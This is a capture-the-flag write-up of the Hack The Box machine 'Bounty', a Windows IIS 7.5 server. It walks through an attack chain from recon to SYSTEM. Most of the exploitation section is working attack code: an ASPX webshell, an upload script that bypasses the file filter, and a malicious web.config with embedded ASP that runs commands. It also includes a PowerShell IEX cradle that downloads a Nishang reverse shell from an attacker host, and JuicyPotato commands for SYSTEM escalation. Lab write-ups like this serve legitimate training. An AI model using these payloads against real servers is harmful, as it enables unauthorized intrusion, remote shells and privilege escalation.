Bounty Walkthrough
Machine: Bounty#
Date: 24-03-2026 Platform: HTB Status: [Rooted]
π Recon#
Nmap:#
nmap -sC -sV -oN scans/nmap_initial.txt $MACHINE_IP
nmap -p- --min-rate 5000 -T4 -oN scans/nmap_full.txt $MACHINE_IP
Results:
- Port 80 β HTTP β Microsoft IIS httpd 7.5 β title: “Bounty”
Notes:
- Only one port open β the entire attack surface is the web server
- IIS 7.5 signals Windows Server 2008 R2. This matters because:
- IIS executes
.aspxand.aspfiles, not.php - There is a well-known IIS-specific code execution technique via
web.config - Windows Server 2008 R2 is vulnerable to JuicyPotato when
SeImpersonatePrivilegeis present
- IIS executes
- HTTP
TRACEmethod enabled β low impact here but worth noting - Homepage shows only a wizard image β no visible functionality
π Enumeration#
Gobuster (directories + Windows-relevant extensions):#
gobuster dir -u http://$MACHINE_IP/ \
-w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
-x asp,aspx,txt,config \
-t 50 \
-o scans/gobuster.txt
Why these extensions: IIS does not execute
.php. The relevant extensions are.asp/.aspx(executable server-side code on IIS),.txt(potential info files), and.config(ASP.NET configuration files that can be abused to execute code). Always adapt your gobuster extensions to the target OS and web server.
Results:
/transfer.aspxβ 200 β file upload form/UploadedFiles/β 301 β 403 β directory where uploaded files are stored (exists but directory listing disabled)
Key observations:
- The upload form has a JavaScript
ValidateFile()function β client-side extension filtering only, trivially bypassed /UploadedFiles/returning 403 (not 404) confirms the directory exists and files uploaded there are reachable by direct filename- No authentication required β upload form is publicly accessible
Manual upload attempts β discovering the filter:#
Visiting /transfer.aspx in the browser shows a simple upload form with a single file input and an “Upload” button. The page source reveals a JavaScript function ValidateFile() attached to the submit button β this is the client-side filter.
First attempt β upload .aspx webshell directly (naive approach):
Created a basic ASPX webshell:
cat > /tmp/shell.aspx << 'EOF'
<%@ Page Language="C#" %>
<%@ Import Namespace="System.Diagnostics" %>
<%
string cmd = Request.QueryString["cmd"];
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.Arguments = "/c " + cmd;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.Start();
Response.Write("<pre>" + p.StandardOutput.ReadToEnd() + "</pre>");
%>
EOF
Attempted upload via curl:
curl -s -X POST http://$MACHINE_IP/transfer.aspx \
-F "FileUpload1=@/tmp/shell.aspx" \
-F "btnUpload=Upload"
Result: The server returned the page without processing the upload β the curl request failed silently because it was missing the ASP.NET __VIEWSTATE and __EVENTVALIDATION tokens.
Lesson learned: ASP.NET forms cannot be submitted with plain curl. The hidden fields
__VIEWSTATEand__EVENTVALIDATIONare required in every POST. Without them, the server ignores or rejects the request entirely. This is why we needed the upload script.
Second attempt β upload via upload.py script:
After fixing the ViewState issue with the upload script, tried .aspx again:
python3 /tmp/upload.py $MACHINE_IP /tmp/shell.aspx
Result: Invalid File. Please try again β the server-side filter blocks .aspx.
This confirmed the filter is server-side, not just JavaScript. The client-side ValidateFile() is just an extra layer β the real block happens on the server after the POST reaches PHP/ASP.
Conclusion from manual attempts: .aspx is explicitly blocked server-side. Need to find an alternative extension that:
- Passes the server-side filter
- Can still be used to execute code on IIS
This led to the systematic extension fuzzing below.
Extension filtering test β systematic fuzzing:#
Why we test extensions: The server-side filter may block
.aspx(obvious webshell extension) but allow other extensions that IIS can still execute. We need to find which extensions pass the filter AND can execute code.
# Script to extract ASP.NET ViewState tokens and upload files correctly
cat > /tmp/upload.py << 'EOF'
import requests, re, sys
url = f"http://{sys.argv[1]}/transfer.aspx"
filepath = sys.argv[2]
session = requests.Session()
r = session.get(url)
viewstate = re.search(r'__VIEWSTATE[^>]+value="([^"]+)"', r.text).group(1)
eventval = re.search(r'__EVENTVALIDATION[^>]+value="([^"]+)"', r.text).group(1)
filename = filepath.split("/")[-1]
with open(filepath, "rb") as f:
files = {"FileUpload1": (filename, f, "application/octet-stream")}
data = {"__VIEWSTATE": viewstate, "__EVENTVALIDATION": eventval, "btnUpload": "Upload"}
r = session.post(url, files=files, data=data)
print(r.text)
EOF
Why we need this script (not just curl): ASP.NET forms include hidden fields
__VIEWSTATEand__EVENTVALIDATIONβ anti-CSRF tokens that change with every request. A plaincurl -Fupload will fail with “invalid” because it does not include these tokens. The script makes a GET request first to extract the current tokens, then includes them in the POST.
for ext in jpg png gif txt config aspx asp; do
cp /tmp/shell.aspx /tmp/test.$ext
result=$(python3 /tmp/upload.py $MACHINE_IP /tmp/test.$ext)
echo "[$ext] -> $(echo $result | grep -o 'Invalid\|uploaded\|success' | head -1)"
done
Results:
| Extension | Result |
|---|---|
| jpg | β uploaded |
| png | β uploaded |
| gif | β uploaded |
| txt | β Invalid |
| config | β uploaded |
| aspx | β Invalid |
| asp | β Invalid |
Why
.configis the key finding: The developer blocked.aspxand.aspbecause they are obviously executable. However.configfiles are not normally considered dangerous β this is the misconfiguration. In IIS, aweb.configfile placed in a directory can instruct the server to execute other file types as scripts, and can itself contain executable Classic ASP code.
π₯ Exploitation#
Technique: Malicious web.config Upload β IIS Code Execution#
How it works β step by step:
- IIS reads
web.configfiles in each directory to configure how that directory behaves - A
web.configcan register new “handlers” β rules that tell IIS which engine to use for which file extensions - We register
asp.dll(the Classic ASP engine) to handle ALL.configfiles - We also remove the two IIS protections that normally prevent
.configfiles from being served directly - We embed Classic ASP code (
<% ... %>) at the bottom of theweb.config - When we request the file via the browser, IIS executes the embedded ASP code as SYSTEM/app pool user
Step 1 β Confirm RCE:
cat > /tmp/web.config << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%
Set obj = CreateObject("WScript.Shell")
Set exec = obj.Exec("cmd.exe /c whoami")
Response.Write(exec.StdOut.ReadAll())
%>
EOF
python3 /tmp/upload.py $MACHINE_IP /tmp/web.config
curl -s http://$MACHINE_IP/UploadedFiles/web.config
Output:
bounty\merlin
What each part of the web.config does:
<handlers>block: tells IIS to useasp.dll(Classic ASP engine) for ALL.configfiles in this directory<remove fileExtension=".config">: removes IIS’s built-in rule that blocks.configfiles from being downloaded/executed<remove segment="web.config">: removes the “hidden segment” rule that preventsweb.configfrom being accessed via a URL<% Set obj = CreateObject("WScript.Shell") %>: Classic ASP code β creates a Windows Shell objectobj.Exec("cmd.exe /c whoami"): runswhoamivia cmd.exeResponse.Write(...): writes the command output to the HTTP response
Step 2 β Upgrade to reverse shell:
# Prepare Nishang PowerShell reverse shell on attacker machine
cp /usr/share/nishang/Shells/Invoke-PowerShellTcp.ps1 /tmp/shell.ps1
echo "Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.252 -Port 4444" >> /tmp/shell.ps1
# Serve via HTTP so the victim can download it
cd /tmp && python3 -m http.server 8080
# Start listener
nc -lvnp 4444
# Update web.config to execute PowerShell reverse shell
cat > /tmp/web.config << 'EOF'
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">
<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll"
resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>
<%
Set obj = CreateObject("WScript.Shell")
Set exec = obj.Exec("cmd.exe /c powershell -c IEX(New-Object Net.WebClient).DownloadString('http://10.10.14.252:8080/shell.ps1')")
Response.Write(exec.StdOut.ReadAll())
%>
EOF
python3 /tmp/upload.py $MACHINE_IP /tmp/web.config
curl -s http://$MACHINE_IP/UploadedFiles/web.config
Result: Reverse PowerShell shell as bounty\merlin β
Why PowerShell IEX (Invoke-Expression):
IEX(New-Object Net.WebClient).DownloadString(url)downloads a PowerShell script and executes it directly in memory β no file is written to disk. This avoids AV detection and doesn’t require write permissions to a specific path. The web server process makes an HTTP request back to our Python server, downloadsshell.ps1, and runs it in memory.
β‘ Privilege Escalation#
Enumeration:#
whoami /priv
Output:
SeImpersonatePrivilege Impersonate a client after authentication Enabled
What SeImpersonatePrivilege means: This privilege allows a process to “impersonate” another user’s security token after that user authenticates to the process. IIS worker processes receive this privilege by design β they need to be able to act on behalf of web users. However, it also enables a class of attacks where a low-privileged process tricks a SYSTEM-level service into authenticating, steals its token, and uses it to spawn a new process as SYSTEM.
The Potato family of attacks (JuicyPotato, RoguePotato, PrintSpoofer) all exploit
SeImpersonatePrivilege. Which one to use depends on the Windows version:
- Windows Server 2008 R2 / Windows 7 β JuicyPotato
- Windows Server 2019 / Windows 10 (post-patch) β PrintSpoofer or RoguePotato
JuicyPotato β SYSTEM#
How JuicyPotato works:
- Creates a fake COM server listening on a local port (
-l) - Triggers a specific Windows COM object (
-c CLSID) to connect to our fake server - The COM object runs as SYSTEM and authenticates to our server
- We intercept the SYSTEM authentication token using
SeImpersonatePrivilege - We use that token to spawn a new process (
-p) running as SYSTEM
Setup on attacker machine:
wget https://github.com/ohpe/juicy-potato/releases/download/v0.1/JuicyPotato.exe -O /tmp/JuicyPotato.exe
cp /path/to/nc.exe /tmp/
cd /tmp && python3 -m http.server 8080
Download tools to victim (C:\Windows\Temp is always writable):
(New-Object Net.WebClient).DownloadFile('http://10.10.14.252:8080/JuicyPotato.exe', 'C:\Windows\Temp\jp.exe')
(New-Object Net.WebClient).DownloadFile('http://10.10.14.252:8080/nc.exe', 'C:\Windows\Temp\nc.exe')
Read root flag as SYSTEM:
# Create bat file using Set-Content (NOT echo β echo writes quotes literally in PowerShell)
Set-Content C:\Windows\Temp\readroot.bat "type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\root.txt"
Add-Content C:\Windows\Temp\readroot.bat "icacls C:\Windows\Temp\root.txt /grant Everyone:F"
# Execute as SYSTEM via JuicyPotato
C:\Windows\Temp\jp.exe -l 1343 -p C:\Windows\Temp\readroot.bat -t * -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
Start-Sleep -s 2
type C:\Windows\Temp\root.txt
Read user flag:
Set-Content C:\Windows\Temp\readuser.bat "type C:\Users\merlin\Desktop\user.txt > C:\Windows\Temp\user2.txt"
Add-Content C:\Windows\Temp\readuser.bat "icacls C:\Windows\Temp\user2.txt /grant Everyone:F"
C:\Windows\Temp\jp.exe -l 1344 -p C:\Windows\Temp\readuser.bat -t * -c "{4991d34b-80a1-4291-83b6-3328366b9097}"
Start-Sleep -s 2
type C:\Windows\Temp\user2.txt
JuicyPotato parameter breakdown:
-l 1343β local port for the fake COM server (any unused port)-p C:\Windows\Temp\readroot.batβ the process to spawn as SYSTEM-t *β try bothCreateProcessWithTokenWandCreateProcessAsUsermethods-c {4991d34b-80a1-4291-83b6-3328366b9097}β CLSID of the BITS COM object. This is one of the most reliable CLSIDs on Windows Server 2008 R2. Different Windows versions need different CLSIDs β check the JuicyPotato GitHub wiki if this one fails.
Why bat file + icacls instead of direct reverse shell: JuicyPotato can also spawn
nc.exedirectly for a reverse shell, but on this machine Windows Firewall blocked outbound connections from SYSTEM-spawned processes. The bat file workaround reads the flag, writes it to a temp file, and grants everyone read access β no outbound connection needed.
Why Set-Content instead of echo: In PowerShell,
echo "text" > file.batwrites"text"(with quotes) into the file, making it an invalid batch command.Set-Contentwrites the raw string without extra characters.
Why icacls: Files created by a SYSTEM process inherit SYSTEM ownership and permissions. The
merlinuser cannot read them.icacls C:\file /grant Everyone:Fgrants full access to all users, making the file readable.
π§© Attack Chain#
- Port scan β only port 80 open, IIS 7.5 (Windows Server 2008 R2)
- Gobuster with Windows extensions β
/transfer.aspx+/UploadedFiles/ - Extension fuzzing β
.aspxblocked, but.configaccepted - Malicious
web.configuploaded β IIS registers Classic ASP handler β RCE viawhoami - Updated
web.configβ PowerShell IEX downloads Nishang β reverse shell asbounty\merlin whoami /privβ SeImpersonatePrivilege enabled- JuicyPotato + BITS CLSID
{4991d34b-80a1-4291-83b6-3328366b9097}β process spawned as SYSTEM - Bat file + icacls workaround β flags read from Administrator desktop β
π― Loot / Flags#
- user.txt: ``[FLAG REDACTED]
βC:\Users\merlin\Desktop\user.txt` - root.txt: ``[FLAG REDACTED]
βC:\Users\Administrator\Desktop\root.txt`
π Lessons Learned#
- On IIS, always test
.configuploads β.aspxand.aspare usually blocked as obvious webshell extensions..configis frequently overlooked. A maliciousweb.configcan register any file extension as executable and contains Classic ASP code that executes directly - IIS version fingerprinting matters β IIS 7.5 = Server 2008 R2. Adapt your entire methodology: use
.aspx/.asp/.configextensions, expect Windows privesc paths (Potato attacks), use PowerShell for post-exploitation - Client-side validation is worthless β the upload form used JavaScript to check extensions. This is trivially bypassed by sending the POST request directly, skipping the browser entirely
- ASP.NET ViewState tokens must be extracted before POST requests β always do a GET first to grab
__VIEWSTATEand__EVENTVALIDATIONbefore posting to ASP.NET forms - SeImpersonatePrivilege = Potato attack β memorize this. IIS worker processes have this privilege by design. On Server 2008 R2, JuicyPotato with BITS CLSID
{4991d34b-80a1-4291-83b6-3328366b9097}is the go-to exploit - Use Set-Content / Add-Content in PowerShell, never echo for bat files β
echo "text" > filein PowerShell writes quotes literally, breaking the batch file syntax - C:\Windows\Temp is always writable β use it as the staging area for tools and output files
- When JuicyPotato reverse shell fails, use bat + icacls β Windows Firewall may block outbound connections from SYSTEM processes. Reading flags via a bat file that copies and grants permissions is a reliable alternative that requires no network connection
- PowerShell IEX for in-memory execution β
IEX(New-Object Net.WebClient).DownloadString(url)downloads and runs scripts in memory without writing to disk, avoiding AV and not requiring write permissions
Adapted from MountainFlayer/htb-writeups under MIT.